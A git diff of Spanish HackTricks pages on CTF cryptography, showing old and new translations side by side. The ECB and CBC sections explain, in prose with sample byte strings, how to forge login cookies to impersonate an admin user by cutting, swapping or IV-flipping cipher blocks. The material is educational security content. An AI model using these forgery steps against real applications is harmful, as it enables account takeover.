Si la cookie es solo el nombre de usuario cifrado, para suplantar al usuario "**administrator**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\ Si las cookies son solo el nombre de usuario cifrado, para hacerse pasar por el usuario "**administrador**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\
Ahora, si puedes controlar el IV, puedes cambiar el primer Byte del IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator.** Esta cookie será válida para **suplantar** al usuario **administrator** con el **IV** inicial. Ahora, si puedes controlar el IV, puedes cambiar el primer byte del IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator**. Esta cookie será válida para **hacerse pasar** por el usuario **administrador** con el IV inicial.
# Referencias # Referencias
@ -68,14 +68,14 @@ Más información en [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedi
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,16 +1,16 @@
# Trucos para CTFs de Criptografía # Trucos de Crypto CTFs
<details> <details>
<summary><strong>Aprende a hackear en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -47,7 +47,7 @@ La mayoría de los datos codificados se pueden decodificar con estos 2 recursos:
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) * [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
* [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno! * [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno!
#### César - ROTx Autosolvers #### Autosolvers de Cifrado César - ROTx
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) * [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
@ -57,7 +57,7 @@ La mayoría de los datos codificados se pueden decodificar con estos 2 recursos:
### Autosolver de Codificaciones Base ### Autosolver de Codificaciones Base
Revisa todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) Ver todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
* **Ascii85** * **Ascii85**
* `BQ%]q@psCd@rH0l` * `BQ%]q@psCd@rH0l`
@ -71,7 +71,7 @@ Revisa todas estas bases con: [https://github.com/dhondta/python-codext](https:/
* `e1rqssc3d5t62svgejhh====` * `e1rqssc3d5t62svgejhh====`
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] * **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
* `D1QPRRB3C5S62RVFDHGG====` * `D1QPRRB3C5S62RVFDHGG====`
* **Base32 Extended Hexadecimal** \[_0-9A-V_] * **Base32 Hexadecimal Extendido** \[_0-9A-V_]
* `D1NMOOB3C5P62ORFDHGG====` * `D1NMOOB3C5P62ORFDHGG====`
* **Base45** \[_0-9A-Z $%\*+-./:_] * **Base45** \[_0-9A-Z $%\*+-./:_]
* `59DPVDGPCVKEUPCPVD` * `59DPVDGPCVKEUPCPVD`
@ -126,21 +126,21 @@ Revisa todas estas bases con: [https://github.com/dhondta/python-codext](https:/
* **Citrix CTX1** \[] * **Citrix CTX1** \[]
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) [http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 No encontrado: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_] ### HackerizeXS \[_╫Λ↻├☰┏_]
``` ```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
``` ```
### Morse * [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 No encontrado: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse
``` ```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
``` ```
### UUencoder * [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 No encontrado: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
No hay texto para traducir aparte del título, que se mantendría igual ya que es un nombre propio de una técnica de codificación. ### UUencoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -158,6 +158,10 @@ hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++ 5Hol-G2xAEE++
end end
``` ```
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
### YEncoder ### YEncoder
``` ```
=ybegin line=128 size=28 name=webutils_pl =ybegin line=128 size=28 name=webutils_pl
@ -192,17 +196,17 @@ Letras a su valor numérico
``` ```
8 15 12 1 3 1 18 1 3 15 12 1 8 15 12 1 3 1 18 1 3 15 12 1
``` ```
### Cifrado Afin Codificar ### Cifrado Afín Codificar
Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el resultado de vuelta a letra Convertir letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y luego convertir el resultado de vuelta a letra
``` ```
krodfdudfrod krodfdudfrod
``` ```
### Código SMS ### Código SMS
**Multitap** [reemplaza una letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\ **Multitap** [reemplaza una letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de tecla correspondiente en un teclado de [teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\
Por ejemplo: 2=A, 22=B, 222=C, 3=D...\ Por ejemplo: 2=A, 22=B, 222=C, 3=D...\
Puedes identificar este código porque verás **varios números repetidos**. Puedes identificar este código porque verás\*\* varios números repetidos\*\*.
Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
@ -221,7 +225,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
**Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados. **Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados.
## Criptografía Fácil ## Crypto Fácil
### XOR - Autosolver ### XOR - Autosolver
@ -239,6 +243,10 @@ Se necesita una palabra clave
``` ```
wodsyoidrods wodsyoidrods
``` ```
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Criptografía Fuerte ## Criptografía Fuerte
### Fernet ### Fernet
@ -253,7 +261,7 @@ Key:
``` ```
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Compartición de Secretos de Samir ### Compartir secreto de Samir
Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_). Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_).
``` ```
@ -261,20 +269,29 @@ Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <= X_
80223035713295bddf0b0bd1b10a5340b89 80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd 803bc8cf294b3f83d88e86d9818792e80cd
``` ```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### Fuerza bruta con OpenSSL ### Fuerza bruta con OpenSSL
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
## Herramientas ## Herramientas
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,36 +1,36 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
# ECB # ECB
(ECB) Libro de Código Electrónico - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (depende del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro usando una única clave. (ECB) Electronic Code Book - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (dependiendo del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro utilizando la única clave.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Usar ECB tiene múltiples implicaciones de seguridad: El uso de ECB tiene múltiples implicaciones de seguridad:
* **Se pueden eliminar bloques del mensaje cifrado** * **Los bloques del mensaje cifrado pueden ser eliminados**
* **Se pueden mover bloques del mensaje cifrado** * **Los bloques del mensaje cifrado pueden ser movidos**
# Detección de la vulnerabilidad # Detección de la vulnerabilidad
Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`<nombre de usuario>|<contraseña>`**.\ Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`<nombre de usuario>|<contraseña>`**.\
Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo nombre de usuario**.\ Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo** **nombre de usuario**.\
Descubres que los **bloques de 8B** donde la **información de ambos usuarios** es la misma son **iguales**. Entonces, imaginas que esto podría ser porque **se está utilizando ECB**. Descubres que los **bloques de 8B** donde la **información de ambos usuarios** es la misma son **iguales**. Entonces, imaginas que esto podría ser porque se está utilizando **ECB**.
Como en el siguiente ejemplo. Observa cómo estas **2 cookies descodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`** Como en el siguiente ejemplo. Observa cómo estas **2 cookies decodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**
``` ```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
@ -38,10 +38,10 @@ Como en el siguiente ejemplo. Observa cómo estas **2 cookies descodificadas** t
``` ```
Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (quizás el delimitador "|" o alguna diferencia necesaria en el nombre de usuario). Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (quizás el delimitador "|" o alguna diferencia necesaria en el nombre de usuario).
Ahora, el atacante solo necesita descubrir si el formato es `<nombre de usuario><delimitador><contraseña>` o `<contraseña><delimitador><nombre de usuario>`. Para hacerlo, puede simplemente **generar varios nombres de usuario** con **nombres de usuario y contraseñas similares y largos hasta que encuentre el formato y la longitud del delimitador:** Ahora, el atacante solo necesita descubrir si el formato es `<nombre de usuario><delimitador><contraseña>` o `<contraseña><delimitador><nombre de usuario>`. Para hacer eso, simplemente puede **generar varios nombres de usuario** con nombres de usuario y contraseñas **similares y largos hasta encontrar el formato y la longitud del delimitador:**
| Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud de nombre de usuario + contraseña: | Longitud de la cookie (después de decodificar): | | Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud de nombre de usuario + contraseña: | Longitud de la cookie (después de decodificar): |
| ------------------------------- | -------------------------- | ----------------------------------------- | ------------------------------------------------ | | ------------------------------- | -------------------------- | ------------------------------------------- | --------------------------------------------- |
| 2 | 2 | 4 | 8 | | 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 | | 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 | | 3 | 4 | 7 | 8 |
@ -50,45 +50,30 @@ Ahora, el atacante solo necesita descubrir si el formato es `<nombre de usuario>
# Explotación de la vulnerabilidad # Explotación de la vulnerabilidad
## Eliminando bloques enteros ## Eliminación de bloques enteros
Conociendo el formato de la cookie (`<nombre de usuario>|<contraseña>`), para suplantar al usuario `admin` crea un nuevo usuario llamado `aaaaaaaaadmin` y obtén la cookie y descodifícala: Conociendo el formato de la cookie (`<nombre de usuario>|<contraseña>`), para hacerse pasar por el nombre de usuario `admin`, crea un nuevo usuario llamado `aaaaaaaaadmin` y obtén la cookie y descódifícala:
``` ```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado previamente con el nombre de usuario que contenía solo `a`.\ Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado previamente con el nombre de usuario que solo contenía `a`.\
Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`: Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`:
``` ```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
## Moviendo bloques ## Moviendo bloques
En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios extras)_ En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios adicionales)_
Entonces, otra manera de suplantar al usuario `admin` sería: Entonces, otra forma de hacerse pasar por el usuario `admin` sería:
* Generar un nombre de usuario que: `len(<username>) + len(<delimiter) % len(block)`. Con un tamaño de bloque de `8B` puedes generar un nombre de usuario llamado: `username `, con el delimitador `|` el fragmento `<username><delimiter>` generará 2 bloques de 8Bs. * Generar un nombre de usuario que: `len(<username>) + len(<delimiter) % len(block)`. Con un tamaño de bloque de `8B` puedes generar un nombre de usuario llamado: `username `, con el delimitador `|` el fragmento `<username><delimiter>` generará 2 bloques de 8B.
* Luego, generar una contraseña que llene un número exacto de bloques conteniendo el nombre de usuario que queremos suplantar y espacios, como: `admin ` * Luego, generar una contraseña que llene un número exacto de bloques que contengan el nombre de usuario que queremos suplantar y espacios, como: `admin `
La cookie de este usuario estará compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está fingiendo ser el nombre de usuario): `username |admin ` La cookie de este usuario estará compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está falsificando el nombre de usuario): `username |admin `
** Entonces, solo reemplaza el primer bloque con el último y estarás suplantando al usuario `admin`: `admin |username`** ** Luego, simplemente reemplace el primer bloque con el último y estará suplantando al usuario `admin`: `admin |username`**
# Referencias # Referencias
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras maneras de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,42 +1,42 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
# Resumen del ataque # Resumen del ataque
